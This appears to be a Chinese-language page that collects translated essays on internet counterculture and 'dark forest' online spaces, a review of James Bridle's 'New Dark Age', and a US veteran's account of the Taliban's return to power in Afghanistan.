“灭绝叛乱” 气候正义运动在精神上是反文化的，但QAnon、武装的右翼自由主义者 “布加洛男孩” 和欧洲的 Reichsbürger 也是如此，他们否认当今德国的存在，声称是第三帝国的公民（他们认为，第三帝国在技术上从未结束）。

这个时代特有的一个事实是，对某一级权威的异议现在往往是由更深层次的霸权力量所驱动的。也许这就是为什么在许多年轻人中（尽管有格蕾塔·通贝里），人们不太关注与当前的领导人作斗争，而对预测反未来更感兴趣。

与其试图用主人的工具来拆除主人的房子，不如说是这样：让我们用加密货币来预订主人的 **Airbnb**，并使用我们在那里找到的工具来打造一个主人无法生存的森林乌托邦。

如果您错过了这本书《思考一种不同的抵抗形式：寄生虫的旁路出击》

这种反未来计划的核心是对即将到来的生态崩溃的强烈信念，使所有现有的控制体系变得过时—— 这是在社会和生态腐蚀体系被认为过于庞大而无法有效反击或抵制的情况下思考异议的一个合理的变通方法。

另一个关键因素是Z世代重新发现了 PoliticalCompass.org，这是一个Web 1.0网站，通过六组提示，用户被要求取消/认同，在PoliticalCompass 的X/Y轴上生成一个从左到右、从专制到自由的大致位置。

在过去的几年里，艺术家 Joshua Citarella 深入研究了Z世代在线政治表达的发展，指出了 “电子神学、激进政治作为一种利基个人品牌的形式” 的出现。在他2019年的报告《20次访谈》中，Citarella 强调了 “政治罗盘” 和游戏对反文化参与意识形态的影响，或者他所说的 “选择你的角色/选择你的未来” 的 “身份游戏” 模式，在2010年代中期美国政治纳入了所有流行文化的情况下，这种模式获得了更高的相关性。

例如，在这个空间里发现的政治身份有：“泰德是无政府主义原教旨主义者”。它遵循泰德·卡钦斯基的《工业社会及其未来》宣言，提倡

回到前农业时代，在那里，人们作为猎人和采集者重新获得技能，不再与他们的劳动相分离，通过日常生存寻求成就感。如果你认为这听起来很边缘化，考虑一下目前订阅YouTube上原始技术频道的1030万用户，该频道对 “在野外完全从零开始，[……]看你能在不使用任何现代技术的情况下活下去” 进行辅导—— 当然，除了你用来播放视频的电子设备。

这些电子神学的名称往往既是幻想的，也是字面上的。一个 “后文明主义者” 可能会关注在文明不再可能的情况下，人类的最佳生存会是什么样子。同时，一个 “自愿的后农耕主义者” 可能会重视无政府主义-原教旨主义的技能，但认为它们是实现通过选择农业公社来维持的文明的组成部分。

在罗盘的其他地方，我们发现了 “全自动豪华同性恋空间共产主义”（在那里，对技术的完全拥抱将人类从稀缺性、生态波动和资源竞争的反动社会弊端中解救出来）和蔑视新传统主义的 “技术官僚神权”，它将其信仰放在一个机器管理的、维护基督教美德的未来上。

电子神学在留言板和社交媒体上通过meme、TikTok帖子以及Twitch和YouTube上的直播辩论得到进一步探讨，所有这些都可能变得非常可怕（呼吁 “生态垃圾全球种族灭绝” 和 “白人民族国家的分离”，等等）。 也许在这里确实有一种美学上的反击来对抗科技巨头公司：激进的（时而是荒诞的）meme文化汹涌混乱的符号学崩溃，其中唯一的意识形态禁区是自由主义的中心。

这里的关键是，这种活动大多是在化名、假名和集体经营的社交媒体账户的掩护下发生的，其中现实生活主体和在线角色之间的直接界限很少明确。“小众个人品牌” 被游戏化了 —— 把账户推到极致，看看会发生什么。如果平台封杀了你，就重新开始。

虽然气候危机是许多年轻人共同关心的问题，但他们的反应可能更准确地理解为竞争-未来主义，而不是反文化。正如 Political Compass 立场的巨大想象力所表明的那样，对于他们具体反对谁或反对什么几乎没有共识。

在全球危机的复杂性使得有效隔离责任方极为困难的时代，这是明智之举。比方说，人们如何开始要求苹果公司对一部iPhone手机寿命内的所有外部因素负责？我们当中有谁能轻易放弃我们彼此的连接而在经济上和社会上保持安然无恙？仿佛在一个完全网络化的地球上长大的Z世代已经绕过了反文化，发现它在一个霸权系统面前是徒劳的，这个系统更像一个九头蛇，而不是传统反文化所反抗的单一庞大势

力。

考虑到任何直接反对这个系统的行动只会让这个系统更加强大，下一代反而选择了激进的信仰：构建替代性的未来，完全放弃目前的基础设施（例如，基于区块链的货币的出现，或呼吁不仅要改革，而且要完全废除警察）。

虽然 Citarella 的研究侧重于2016年左右开始在网上发帖的青少年（在2020年大约是18岁），但它还是更广泛地提炼了当代反文化活动的变化性质。

首先，匿名，或者至少是假名，对于以反霸权的方式活跃在网上来说，即使不是根本，也是越来越重要的。这与20世纪90年代的IRL反主流文化的理念截然不同，当时的反主流文化重视无中介的真实性和“being real”（想想《MTV不插电》）。而现在，“卖出”是将你的网络身份与你的现实生活和真实姓名联系起来。在某种程度上，这是因为反文化活动的最大障碍之一是互联网并不压制表达 —— 它迫使你表达，然后让你对你所说的一切负责多年。在这个平台上，沉默不是一种选择，至少如果你想让网络记住你的存在的话。这在文化领域尤其如此，在那里，可见性意味着在演出和合作中会被记住。6ix9ine痴迷于打破YouTube是有原因的，如果有才华的年轻说唱歌手希望建立一个职业生涯，他们就必须在社交媒体营销方面有同样的才华。

在乔治·弗洛伊德被杀后，我们看到这种动态的发展，当时善意的“沉默就是暴力”的说法（回顾1987年ACT-UP强大的“沉默＝死亡”运动）演变成了对那些没有及时公开声明表示声援或悔恨的人的指责，即使那些人只有少量追随者。然而，公开的帖子要接受大众的监督，并根据诚意、原创性和语气来判断。毫不奇怪，许多人默认发布了一个阴郁的普通黑色方块。但是，在社区资源共享极为重要的时刻，这种做法产生了自己的批评，因为它堵塞了信息的供给。

在一个混乱的时期，该平台完全按照设计发挥了作用：情绪的放大，用户互动的上升，平台参与度的增长和数据的培养。然后就是，巨头公司的平台又赚了笔大的。真正混乱的是，用户尽管明白平台的机制是坏的，但仍然觉得有道德责任去遵守平台启用的蜂巢式意识的规则。

在早期互联网的黑暗边缘，黑客们早在 6ix9ine、斯诺登和青少年Z世代等人之前就预见到了公共公地的封闭性。这些用户发展了一种精神，重视一个完全匿名的、超级连接的区域的激进自由，在那里人们可以不受身体和法定姓名的负担而进行交流。

在90年代末和00年代初，随着在线活动开始集中于搜索引擎，如Netscape、Explorer 和谷歌，互联网分化为所谓的“明网”，其中包括所有可公开索引的网站（即大型社交媒体、商业平台和任何被主要搜索引擎抓取的网站），和“暗网”或“深网”，后者不被公开索引（由于建立在匿名、加密的网络上如Tor）。还有一些网站，虽然是正式的明网，但为子明网空间奠定了基础，可以认为是一个“黑暗森林”区—— 特别是像Reddit和4chan这样的留言板论坛，用户可以在不暴露其现实生活身份的情况下进行互动，不让这种活动影响其实名制的SEO。

取自中国科幻作家刘慈欣2008年的书名，网络的“黑暗森林”区域作为所有年龄段和政治信仰的用户的在线交流空间，正变得越来越重要。部分原因是它比明网区的社会压力要小，因为在明网区，人们会被同行、雇主和国家曝光。它现在还包括**Discord**服务器、付费通讯（如**Substack**）、加密的群组消息（**Signal**、**Wire**等）、游戏社区、播客、以及其他明网外的留言板论坛和社交媒体。人们在社区中寻找内容或分享其他人检索到的内容，而不是接受平台算法碰巧与你的数据档案相匹配的任何内容。可以拒绝被当作“定制人”。

此外，黑暗森林空间既是最小的也是直接的商业性的产物。一般来说，进入要收取少量费用，但一旦进入，你就可以自由地行动和发言，而不会被平台操纵你的行为、也不会对你的行为提取进一步的价值。同样有趣的是要记住，黑暗森林和明网共享相同的电缆和卫星阵列，通过相同的设备访问，而且基本上所有的居民都继续同时参与明网空间（正如当代专业协议所要求的那样）。因此，它并不类似于传统的反文化概念，即脱离网络。

可以肯定的是，这些空间都不纯粹，用户在黑暗森林中和在流行的社交媒体上一样容易受到回声壁和激进化的影响。但就产生或多或少的反霸权潜力而言，黑暗森林更有希望，因为它相对独立于明网物理学（内容的重力、速度和牵引力受制于某种算法）。不像影响者和认证“蓝V”那样—— 他们依靠信息网络的认可来获得收入、地位，甚至自我价值，黑暗森林居民在信息网络的范围之外，或者在实际的森林、公园和花园（例如cottagecore和相关的生态社会趋势）中建立他们的主要社区，然后只在非常有选择的，甚至荒谬地/不连贯地在信息网络的光线下展示自己。

那么今天的反霸权文化是什么样子的呢？它对被人看见并不特别感兴趣 —— 至少是对人不感兴趣。它对穿着皮革和莫霍克发型、走过主要街道的商店并不感到兴奋，反正这些商店现在已经空了。但它确实表现出对自由的渴望 —— 从注意力经济、原子化和主流通信的提取

主义逻辑中挣脱出来。

可以想象，集体持有的物理空间从空荡荡的零售店或被遗弃的场所中收回，在黑暗森林中，持有秘密的数字帮派激增，以及对文化物品稀缺性的新渴望 —— 即使拒绝巨头公司平台上的“点赞和分享”的强迫性，人与人之间的联系也更加深入和密切。

在互联网时代，真正的反文化很难看到，甚至很难找到，但这并不意味着它不存在。〇

The internet didn’t kill counterculture—you just won’t find it on Instagram

原文

与其说是互联网的末日，不如说是世界末日更容易理解？ - iyouport

免费书和纪录片长读集中化毁掉互联网自由

【2018年12月6日存档】“帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……

在 Facebook 中的任何人有意愿、甚至可以说是有能力控制 Facbook 吗？这是上周纽约时报在对社交媒体巨头的调查中涉及的基本问题。

越来越明显的迹象表明，这些巨头公司生存和增长的前提不仅仅是依赖于类似剑桥分析公司丑闻那种侵犯性数据交易的共谋罪行，还依赖于对其平台上那些传播暴力行为用户的低效的打地鼠式处理方式——正是这种行为助长了缅甸政府军对罗兴亚人口的大屠杀。这个问题貌似在公司的改革尝试中并没有得到解决，而该公司领导层却把眼光放到了一种进攻性防御的方式上，他们一边游说法律制定者，一边向公众辩解来逃避和模糊他们自己的责任。

Facebook 所体现的问题究竟是因为互联网乌托邦的诺言陷入了歧途？还是是因为互联网及产品本身的结构所导致的必然结果？

艺术家兼技术人员 James Bridle 的一本新书认为：后者才是原因。

《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》这本书中认为， 正是互联网的核心—— 高速计算和全球化网络的结合—— 对日益增长的侵入性数据挖掘、‘假新闻’和大规模监控行为，负有很大责任。您可以在这里下载这本书：https://t.me/iyouport/6696

换句话说，互联网并非是被邪恶污染了，正相反，它正在以最初设计时的原则和目的正常运行。而这种’正常运行’不仅在模糊化我们对世

界的认知，而且还使世界越发充满危险。

- 这不是第一次揭示同样的被隐瞒的背景真相，另见：《互联网究竟是什么？》

一个日常的小例子一定程度上可以证实 Bridle 提到的人们的一种最常见观点："感谢互联网，我在任何时间和地点都能收到天气预报。虽然结果可能有误，然后因为这些错误预报我可能已经变成了落汤鸡。但是我还是对在外出前能得到力所能及的'最佳信息'而心怀感激。最坏的情况不过就是淋成了落汤鸡而已"。

Bridle 的新书指出，技术不仅在模糊化我们对世界的认知，而且还使世界越发充满危险。

Bridle 的新书以深远的方式展示了上文中对天气预报抱有的观点是多么的错误。天气预报，正如所有的预测型计算一样，本质上假设未来和过去是相似的，它整合过去时间点上的数据来对未来进行预演。但是由于全球气候变化，这种天气预报的计算方式在长远来看变得越来越不准确，未来和过去越来越不同。

不仅如此，对天气预报的计算自身—— 如今，大规模天气预测计算是一个高耗能的事业—— 它所需要的碳排放量，正在削弱其自身的准确性。正如 Bridle 所写到的，"计算即是因气候变化的受害者，也是对气候变化的加害者"。每当我刷新天气预报时，我的行为都对气候变化产生了影响，从而使预报更不准确。而气候变化已经使天气越来越难以预测，而且正对世界造成各种破坏。

短期来说，我可能避免了成为落汤鸡，但长远来看，我所住的城市以后大部分可能会被水淹没。如今，我们所知的互联网就是以这种方式把我们带向了 **Bridle** 所称的 "新黑暗时代"：它用内化的方式假设世界是什么、和应该是怎样的，但是掩盖了互联网本身正在构建一个更多变的未来的事实。因为未来的变化与过去的模式之间差异越来越大，我们会发现，我们对于世界的了解不是越来越多，而恰恰相反，是越来越少。

为什么会这样？Bridle 提到，原因之一就是由于构成互联网的结构本身一开始就不是为了产生无私的知识的。

例如，气象学计算本身最初是美英军事联盟发展的事业，目的专门是为了在冷战中西方可以获得战略性的核优势和空中优势的霸权。 这项事业的中心构架后来就成为了组成国防高等计划研究署（DARPA ）

的核心，DARPA 这个美国政府机构正是我们现在所知的互联网的先驱—— ARPANET—— 的缔造者。

寄希望于这些技术（比如 ARPANET ）的延伸（Internet）可以和最初的设计目的（为了资本的霸权和公司利润最大化）分离转而为公共事业服务，这个想法十分天真。现实是，我们使用的这些技术让世界和我们所希望的（技术为公共事业服务）的情况越发遥远。

“New Dark Age” 的每个章节都从不同视野揭示了这些最初的设计目的已经如此深层次地充满了我们的社交关系，以及它们让真正的知识变得多么的模糊。

在‘气候（Climate）’章节里讨论了我们联网的高科技社会是怎样加速了气候变化。且在这个过程中，实际上还破坏了真实知识的类比来源（比如种子库和冻土层中的考古学遗骸）。

“复杂性 (Complexity)” 章节认为计算技术在高级金融领域的应用歪曲了经济信息并且加剧了不公。

“阴谋 (Conspiracy)” 章节显示了互联网的算法排序如何使人们的无力感和对边缘群体的偏见常态化。

“并发（Concurrency）”章节关注了 YouTube 对最大化产生吸睛效益的追求 (Google 的基本要求)， 教唆了算法生成的对儿童身心健康不利而且是自动播放的视频的流传。 (Bridle 去年在 Medium 上写了个案例，里面提到如果父母给小孩子找了一个封面看似无害的 “Peppa Pig” 视频，结果那个视频可能显示的是“Peppa Pig”遭到各种酷刑和摧残的故事)。

这些问题的核心 Bridle 称之为计算型思维 (computational thinking)。计算型思维认为所有关于过去的信息都可以而且也应该被全部收集，然后在整合分析以形成对未来的决策。在 “共谋 **(Complicity)**这一章节中**,” Bridle** 认为正是这种思维方式同样造就了政府部门的大规模监控行为：政府情报部门以*收集一切*而闻名于世，他们的大规模监控行为从没有让公共领域变得更安全，也没有对减少暴力做出任何帮助。(由于这个事实，2013 年总统委员会宣布大规模监控对于预防袭击来讲并不是必需的)。

问题是， Bridle 认为，这种监控行为方式本质上即是溯及既往的又是充满报复性，它假定仅仅只要曝光就够了，只要把问题放置到光线之下，问题就会被揭发甚至自己就解决了。

“我们变得相信于把一个事物公之于众和对它进行思考是同一件事。同样，对待事件只要存在有关部门去管就够了”，**Bridle** 警告说。不，事实上完全相反。

这种自欺欺人不仅局限于不透明的政府，记者同样有罪。Bridle 举的主要例子是 2013 年 Edward Snowden 揭露 NSA 的事件 (正是这个事件启发了 Intercept 的成立)。

虽然最初对美国和其盟友的大规模监视行为的精准披露造成了很大反响，但真正的改革需求却被最大程度的无视，然后公众的视野很快转向了其他地方。

这里的问题是，**Bridle** 讲到，人们期盼只要单纯的曝光就会导向理解和行动。与监控和计算行为一样，记者也是深陷于这种妄想型的偏执逻辑：因为这种逻辑沉迷于过去的完美镜像，而放弃了对现在和未来的真正理解。

> *“We have become convinced that throwing light upon the subject is the same thing as thinking it, and thus having agency over it,” Bridle warns.*

“新黑暗时代”一书中提出的对这种问题的应对方式，更多是一种新的思考方式而不是如何去行动，“我们需要的不是新的技术”，Bridle 在第一页就写到，“而是新的隐喻”，和错误的认为可以看到和理解世界上每一个事实的计算型思维相反。

Bridle 提出“云雾型思维 (cloudy thinking)”，一种接受不可预知的事物、并从另一种角度看待问题的实践。Bridle 实际上希望“新黑暗时代 (New Dark Age) ” 这个标题被理解为一个机遇，而非挽歌。

要拥抱这个机会，他论述到，我们要放弃对完美知识的自负追求，而应该对我们赖以生活和工作的互联网正在主动地模糊化我们对真实世界的认知和加剧不公正这件事上，保持一种负责任的怀疑主义态度。

“我并不是在反对技术”，Bridle 坚持说，“这么做是在反对我们自己”。技术即是重塑世界的工具，也是我们去了解世界的一种隐喻。

好吧：在需要重新认识我们自身和技术的关系这点上 Bridle 是对的。我们不能期盼技术会带来完美的信息和社会共识。我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚。

但是如果不去面对互联网如今已经变成了什么，而是仅仅接受 Bridle 的建议看起来是不够的。虽然在我们的生活如今和互联网密不可分这点上 Bridle 是对的，但他好像屈服在一种宿命论的而且天真的乐观主义里了。在宿命上他认为我们只能适应如今这种互联网，乐观的认为只要换个角度去看待这种互联网，我们就能避免它会带来的毁灭性社会灾难。

> 互联网的基础是资本，这些资本来自于政府和大公司的投资，他们当然会期盼投资带来回报。

问题是我们所知的互联网实际上、甚至本质上并不是一个虚拟的东西：它的实现是由充满世界的数据线海洋、数字集权的摩天大楼、以及相当于一个城市的超大规模数据中心构成的。它的基础是资本，这些资本来自于政府和公司的投资，他们当然会期盼投资带来回报。

Bridle 和作家 Ingrid Burrington 对构成互联网基础设施的本质的揭露对我们是有很大价值的。“新黑暗时代”中同样指出了巨大的物质利润和回报驱动着这些资本投入。“帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”，Bridle 写到。

不幸的是，Bridle 并没有从这个洞察结论继续对它的逻辑性结果进行追问。权力不是靠思想就可以获得的—— 它只能从行动中获得。如果互联网的基础设施是由那以剥削大众为目标的帝国控制的，我们还怎么能对这种互联网可以促进人类发展和改善人权抱有幻想呢？

呼吁互联网社会化和公益化，要求公众控制数据，这些看起来也许不现实，但至少是在直面这个问题。令人失望的是，这样一本对人类文明所面对的灾难性现状认识清晰的书却没有更深入的提及解决方案。

也许比起说互联网的末日，说成世界末日更容易想像些吧。但 Bridle 以后的作品不得不面对这个他现在拒绝置评的问题：要拯救互联网和这个星球，是不是人们要从当权者手中夺回那些基础设施，即公众实际控制每一个数据中心甚至每一块电路板，这样互联网才终于可以服务于大众和社会事业？然而，假如做不到这样，是不是完全摧毁这个互联网才是符合人类利益的？〇

“We have become convinced that throwing light upon the subject is the same thing as thinking it, and thus having agency over it,” IS IT EASIER TO IMAGINE THE END OF THE WORLD THAN THE END OF THE INTERNET?

原文

为什么是塔利班赢了？：以阿富汗为镜，全球背景下的塔利班胜利 - iyouport

中东和北非反抗者-寻求经验长读

塔利班只是全球威权主义浪潮的局部表现而已 …… 全球塔利班化是一个非常重要的视角，希望未来能有中国朋友从您的本土深入这个议题。

【按】在最初谈论阿富汗的时候，我们强调了三个要点：1、“阿富汗是谁的” —— 在这个问题上能否达成共识，将是理解一切的前提；2、为什么如此多本地人支持塔利班 —— 这个问题的答案是思考的基础；3、我们应该站在谁的立场上表态 —— 当我们都是99%的 ‘people’ 的时候，这一立场格外重要。

本文将尝试对这三个关键问题进行解读。

在我们第一次概述阿富汗的时候，特别指出的是：现在中国 —— 另一个[准]帝国 —— 正在借助局势牟利。我们希望中国朋友能具备美国进步人士的眼光和判断力，因为你们现在需要它。这就是要点。

前两部分都是来自内部人士的视角，他们的长期亲历、所见所闻，那些您绝不会从主流媒体中了解到的内幕。

第一部分是一篇非常感人的大实话，来自美国职业老兵，他呼吁那些军中的战友们放下武器，“做逃兵吧，没必要为军工利益集团送死”。他为什么这样说？

📌 在这里听到这部分的音频版（播客）：https://ia601402.us.archive.org/18/items/20-years-war/20YearsWar.mp3

第二部分是一份非常重要的访谈，来自一线反抗者；它尖锐地提出了几乎所有舆论场中最具冲突性的问题，并给出了关键的背景信息。如果您也曾经在社交媒体对话中遭遇困惑，这部分内容也许能帮您看清一些事。

接下来第三部分是对此的第三方角度，一份简要的数据，就足够您理解整件事背后的故事。

第四部分是一点概述和最近的后续动态。

📌 此外，推荐阅读一份访谈：《“这场战争在很大程度上与阿富汗人本身无关”》—— CounterSpin 就美国从阿富汗撤军问题采访国际政策中心高级研究员、艾森豪威尔媒体网络成员 Matthew Hoh。

还有非常多同样的内容资源，这里不做介绍，以避免重复；它们的共同点是，您不会从主流媒体中读到。

塔利班在美国撤军前夺回阿富汗的速度说明了帝国的脆弱性：需要多少力量来维持它，以及当这种力量被撤走时，一切都会迅速改变。它让人们看到了一个可能的后帝国时代的未来—— 尽管这不是一个充满希望的未来。

占领对阿富汗人民产生了怎样的影响？为什么塔利班能够如此迅速地收回这么多领土？美国的撤军及其后果对我们的未来有什么启示，我们可以如何为之做准备？

所谓的反恐战争，就像之前的冷战一样，迫使全体人民在互不相让的二元之间做出选择，使得人们很难想象在全球资本主义帝国和本土独裁主义之间还有任何替代方案。从长远来看，无论它承诺了什么，殖民军国主义都无法控制民族主义、法西斯主义或原教旨主义—— 它只会给它们提供招募的理由。

关键的问题是，如何培育出能够创造真正替代方案的全球草根网络。

在下面的分析中，一位占领阿富汗的美国老兵讨论了这场战争的失败—— 将塔利班、占领及其后果置于全世界法西斯主义和原教旨主义浪潮的背景下，而这一浪潮在国内也在不断扩大。

以下以第一人称叙述。

全球背景下的塔利班胜利

「图」

在我写这篇文章的时候，塔利班已经控制了喀布尔，从而控制了整个阿富汗国家。美国支持的总统阿什拉夫·加尼已逃往塔吉克斯坦，而阿富汗军队成员则逃往邻国或向塔利班武装分子投降。

就在几天前，美国情报官员还在预测喀布尔至少要30天后才会沦陷，因为拜登总统部署了5000名美军来保护美国大使馆和人员的撤离。而现在，国务院正在敦促剩余的美国公民就地避难，而不是冲向喀布尔机场进行紧急疏散。

当机密文件燃烧的烟雾和枪声在喀布尔的地平线上散发出阴霾时，每个人都在想着西贡被北越军队和民族解放阵线攻陷的那般情景。

我绝对没有庆祝塔利班的胜利。虽然他们一直在与帝国主义、资本主义的占领作斗争，但是，他们代表了最糟糕的宗教原教旨主义、父权制和等级制。然而，看到幕布如此凄美地拉开，揭示了军事例外主义的真面目，还真的是令人震惊。我们浪费了20年的金钱、青春和鲜血。

我是一名占领阿富汗的老兵。我将要告诉你们的一切都来自于我作为一名步兵为帝国服务了十年的第一手经验。

我加入的原因就是你在征兵广告中看到的所有原因。作为一名情报分析员和军士长，我管理和领导团、连和班的士兵。基于我在空中监视和侦察方面的经验，我被招募加入了一家国防合同公司。我工作过的国防公司包括L3、波音和洛克希德·马丁。我在美国和阿富汗培训了三年多的部队，并为这些公司三次部署到阿富汗。我还作为一个管理阿富汗南部最大军事基地之一的行动小组成员被部署到阿富汗。

根据我所看到的事实，美国的所谓 “反恐行动“ 主要是为美国的军事技术和产品创造市场，并为帝国确保资源。

20年来，我们支持当地和区域军阀，给他们提供武器、金钱和军火，使他们不会攻击我们的部队。我们为他们的行刑队开绿灯，称他们为 “阿富汗地方警察”。在高级别的工作中，我看到高级军官和低级士兵都争先恐后地充实自己的简历，希望能成为那些实际运作的公司和机构的雇佣兵。

将军们的职业生涯，后来被这些公司或国防部/情报界雇用。从叙利亚和伊拉克到也门和整个非洲，在我们的800个军事基地中，我不知道有任何军事任务是主要侧重于 “创造和平与稳定”。

我参与其中的时间太长了—— 我希望能负起责任，尽管我知道自己没有办法真正做出补偿。

我手下一名士兵的死亡才让我明白了这一切。此后，我开始受到

CPTSD[复杂性创伤后应激障碍]的影响。典型的症状是：喝酒和吸毒，关系破裂，抑郁，有自杀倾向。

我也开始向外寻求帮助。我加入了伊拉克老兵反战组织，并与反帝的现役和退役军人联系。通过美国大兵权利热线的信息，我得以离开陆军预备役。我开始了一个政治化的过程，在这个过程中我了解了军国主义、帝国主义、殖民主义和白人至上主义。

现在，占领已经结束，整整一代退伍军人将被迫质疑这一切是为了什么。我所能做的就是问他们为什么要花这么长的时间来回答这个问题。它一直都如此地明显，就摆在我们眼前。这些是来自赫尔曼德省潘杰瓦伊区的长者—— 坎大哈大屠杀发生的地区。这个孩子和他的父亲一起来向美国提出索赔，因为美国利用他们的农场建立了一个军事基地。几个月来，他们每周都要来一趟，他们已经失去了水井、果园和生计。我们的军事基地是整个阿富汗南部唯一一个允许我们称之为 “外国索赔” 的基地，即 要求对被美国破坏的生命、土地或财产进行赔偿。这个男孩现在一定有十几岁了。美国占领的每一个受益者都必须弄清楚，与经历过占领影响的人真正团结起来意味着什么。

当我在阿富汗服役的整个期间，我们从未控制过我们的基地和前哨之外的领土 —— 我们经常在我们自己的围墙内发现敌人。塔利班成功地进行了20年的反叛乱活动。他们维持着一个影子政府，征收税款，解决社会、文化和经济纠纷，操纵和占领领土，一直在等待时机。

为什么塔利班能够等待占领结束并如此轻易地夺回权力？

塔利班受益于阿富汗的部落和民族结构，这是一个复杂的效忠网络、以及社会和文化纽带，美国/北约部队从未能够完全理解这点。阿富汗，和前大英帝国的其他民族国家一样，在建立时没有考虑到民族和宗教人口结构。其结果是由普什图人、塔吉克人、哈扎拉人、乌兹别克人、艾玛克人、土库曼人和俾路支人组成的人口，这些群体有着广泛的文化和习俗。一些人发现很容易与北约结盟，而其他人则坚决反对。

塔利班几乎全是普什图人—— 阿富汗的主要民族，占人口的40–50%。普什图人存在于阿富汗与巴基斯坦边境的两侧以及该国的南部地区。他们的社会关系和传统延伸到该国的殖民边界之外，使他们很容易在巴基斯坦的安全庇护所之间移动，利用北约军事控制的漏洞。

当我回想那些足够说明战争无用的许多时刻时，我想起我在坎大哈机场的日子，这个基地至少有22000名士兵、军事承包商和平民。在那

里，我了解到塔利班影子区指挥官是现任阿富汗空军将军的妹夫。鉴于部落和家庭关系在普什图文化中的重要性，很明显，该将军对北约支持的政府的忠诚绝不会高于这种关系。

这两个军阀之间的联系，即使他们在形式上被认为是“敌方战斗人员”，也确保了双方都不会试图击败对方。

我多次遇到这种所谓的“敌人”之间的相互联系，从我与普通市民的互动一直到当时在位的阿富汗总统哈米德·卡尔扎伊。

塔利班也为人们提供服务。塔利班的合法性植根于他们提供保护和宗教指导的能力，比美国的入侵早了很多年。他们的毛拉在其控制的地区解决社会、文化和经济纠纷。在整个战争期间，他们收税并控制农业。他们还实施了极端的暴力行为，这就是他们在战前没有控制的地区获得立足点的原因。

二十年来，美国的占领并未能削弱塔利班的抵抗，因为从来没有任何一个时期内能让大多数人认为“占领军是合法的”。仅靠炸弹和子弹是无法赢得一场针对坚定民众的战争的。【注：现在是时候思考这个问题了。如果您尚未了解利害关系，见《中国如何在不发射子弹的情况下“赢得”中东》，如您所知，我们绝非希望这样的事发生。】

相比之下，美国支持的政府和军队完全是利己主义的和腐败的。由于主要受个人利益的驱使，北约部队围绕着衡量标准进行战斗 —— 他们更关心项目的数量、伤亡情况、花钱还是省钱。他们在该国停留的时间是相对短期的部署轮换，他们从未能够建立信任或尊重。新的单位和新的人不断出现，不知道他们以前在哪里，也不知道以前做过什么。这种缺乏尊重的情况对反叛活动非常重要，在2012年的一次部署中，内部袭击（即 阿富汗政府军对北约部队的袭击）占总伤亡人数的14%以上。

最后，塔利班之所以能够控制住局面，因为他们明白，要赢得一场反对殖民占领的斗争，最根本的是你必须在一场消耗战中生存下来。二十年来，他们展示了一个腐败的北约支持的政府的无效性，维持了他们在美国入侵前建立的规范和等级控制体系。

但塔利班的原教旨主义对他们的成功并不重要。帝国从极端向内崩溃：美国从阿富汗撤军是一个更大的过程的一部分，美国的地缘政治影响力正在世界各地受到侵蚀。其结果就是说，中国国家可能在该地区获得权力；我们可能看到印度和巴基斯坦之间的权力斗争升级。问题是，接下来会发生什么—— 在阿富汗和世界各地？

在这一历史性的时刻里，在美国的核心地区，我看到一个正在崛起的保守主义运动，它的许多想法和政策反映了与塔利班相同的原教旨主义、父权制和等级制度。我看到右翼对妇女的身体、LGBTQIA＋社区、移民和任何被认为是“外来者”的人所表达的鄙视和排斥，与塔利班的宗教信条所证明的暴力世界观相一致。

在美国，专制右翼正在围绕美国男性传播一种羞耻的神话—— 一种关于被取代、娘炮化、失败、失去控制、失去权力的神话。他们多年来一直在发展这种神话，而在阿富汗的失败只会火上浇油。通过多年的法西斯动员，我们现在在街头看到的暴力和仇恨是一个美化战争失败谎言的国家的直接后果。戴着右翼敢死队徽章的所谓“爱国者”和“骄傲男孩”，与塔利班原教旨主义的敢死队相差无几。

我看到自由派与这个帝国的战争机器步调一致。就他们关于军国主义和警察的想法而言，他们与法西斯右翼并肩作战—— 无论他们的进步主义如何，他们都没有为我们的社区带来真正的安全。具有启发性的是，两位共和党总统和两位民主党总统都监督了这场战争。一个又一个政府都扩大了行政部门的权力，而过去20年的国防和国安预算使我们的社区血本无归。

美国已经在武器上花费了数万亿美元。其中许多武器最终落入了塔利班和伊斯兰国的手中；其他武器则被带回来，用于对付北美的边缘社区，特别是对付黑人、棕色人种和原住民。那些在不远处的起义中焚烧警察局和进行巷战的无产者们，已经发现自己所面对的是与阿富汗警察相同的火力攻势、战略、战术和思维方式。

整整一代人以来，始于阿富汗的全球反恐战争已经被利用和商品化。那些从未参加过冲突的人也购买了品牌装备，以实现他们的战士文化热的梦想。整个人口的一部分已经内化了爱国主义和民族主义的有毒男性死亡崇拜。

现在，这个面子已经被剥光了，我正看着这一代人的身份 —— 围绕着他们对战争的接近和参与—— 在他们身边摇摆不定。自由主义者将不可避免地指责保守主义者，反之亦然，而政治两极分化的过程加剧，双方都将自己的未来交给了不同品牌的独裁主义，希望保持稳定的假象。

如果说塔利班的胜利表明了什么，那就是，帝国是一叠等待倒下的牌。它有能力实施极端暴力，用人类已知的最先进的技术方式杀人；它有能力实施极端残忍的行为。但它仍然无法征服人们的心灵，无论干预的强度有多大或占领的时间有多长。

龟岛已经经历了500多年对占领的抵抗，不管还有多少年摆在我们面前，应该清楚的是，我们也会赢。阿富汗的后果将不仅仅是一个腐败和不受欢迎的傀儡政权的失败 —— 它将在这个摇摇欲坠的帝国的许多地区产生回响，持续多年。

整整一代有战斗经验的人已经深刻地认识到，我们对帝国主义统治的参与是基于谬误的。我们已经开始将我们的知识和经验投入到专注于实际解放的社区。

但接下来会发生什么？如果塔利班在阿富汗的胜利有任何迹象，那么接替美国的可能是压迫性的原教旨主义或民族主义。我们应该问，我们如何能够以这样一种方式与统治秩序作斗争，使它在其他地方崩溃时不会被相当于塔利班的东西所取代。

我们社区和我们所期望的未来的敌人也吸收了对占领不满和心怀不满的老兵。他们的愤怒，就植根于上述耻辱，以暴力而不是团结来表达。他们已经为了自己的独裁愿景而试图发动政变。阿富汗的事件将进一步激励他们。我们可以期待看到那些前士兵、特种部队操作员和雇佣兵动员起来反对他们认为的敌人，并进行个人的恐怖主义行为。这就是我们要面对的问题。

塔利班只是全球威权主义浪潮的局部表现而已。

